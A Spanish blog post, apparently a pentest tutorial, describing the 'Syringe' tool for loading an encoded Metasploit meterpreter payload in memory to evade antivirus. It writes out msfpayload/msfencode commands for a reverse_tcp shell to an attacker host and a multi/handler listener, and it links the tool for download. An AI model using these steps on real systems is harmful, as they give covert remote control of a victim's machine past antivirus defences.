Hace un tiempo publique una serie de tres artículos sobre las diferentes forma de crear un fichero ejecutable (exe) con capacidad de evasión del sistema Antivirus utilizando el framework de seguridad #Metasploit.
En su momento estuve tentado de crear un script que generase un ejecutable con un PAYLOAD según unas especificaciones previas, y que automáticamente comprobase en Virustotal su eficacia. Ahora, buceando en Internet he ido a parar a http://www.commonexploits.com quién ha creado precisamente un script que realiza exactamente eso, es decir, generar un payload con metasploit con técnicas de evasión de antivirus.
Sin embargo, aunque el script (AV0id) es muy interesante, ese mismo artículo me ha puesto sobre la pista de una herramienta de gran utilidad, cuyo objetivo es evadir (bypass) los sistema antivirus. Es precisamente sobre esto ultimo de lo que voy a hablar a continuación.
¿Qué es syringe?
Durante un test de penetración puede resultar muy útil disponer algún ejecutable con capacidad de "puerta trasera" (backdoor) con el que demostrar la debilidad encontrada tomando el control del equipo objeto del análisis. Es en este punto donde entra en juego el Syringe creado por un investigador de Seguridad independiente llamado Hasan (aka inf0g33k). Hasan publica un documento técnico (PDF) donde explica la técnica que utiliza para cargar la shell, generada con Metasploit, en memoria y demuestra con un ejemplo su funcionamiento.
La herramienta, básicamente carga en memoria un PAYLOAD de tipo meterpreter generado por Metasploit, utilizando técnicas de ENCODING de forma que pueda evadir el sistema Antivirus del sistema. (Asunto que ya se ha tratado en otra ocasión en el blog).
¿Cómo funciona?
Esta herramienta, syringe, utiliza la función VirtualAlloc para reservar una región de la memoria en Windows con permisos de ejecución específicos (read and write). Esta función requiere que el shell code este formado con caracteres alfanuméricos para que puede ser ejecutado.
Para generar el código (shellcode) utiliza el framework Metasploit, luego genera un ejecutable utilizando la herramienta 7z y una serie de bash script, fragmento de código en visual basic script (vbs) simplemente es para oculta el terminal de consola durante la ejecución del bash script. Cómo nota de interes, el autor, en su herramienta syringe introduce el código (shellcode) en un bloque estructurado del tipo SEH (Structured Exception Handler) que será el que habilite la ejecución del código (shellcode) de forma exitosa, a través de la función VirtualAlloc.
Los parámetros utilizado para generar el PAYLOAD son:
msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread
LPORT=4444 LHOST=IP_KalinLinux R | msfencode -a x86 -e
x86/alpha_mixed -t raw BufferRegister=EAX
Una vez creado el ejecutable SFX, se debe de iniciar un servidor que gestione las conexiones en el puerto 4444 del shellcode generado, esto se hace tal y como se vio en mi artículo sobre Metasploit, de forma que:
msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp
EXITFUhread LPORT=4444 LHOST=IP_KaliLinux E
Llegados a este punto, solo es necesario ejecutar el fichero SFX (exe) generado [bash script makeExeFromBat.bat] y tendremos una sesión de meterpreter sobre el equipo de la victima.
Download
Licencia: GNU GPL v3
Fichero: Syringe_Pack
SHA: b720d32f2ad43defab223d85646ac6b3786f9de7
Referencias:
Via: @teamcymru
0 comentarios:
Publicar un comentario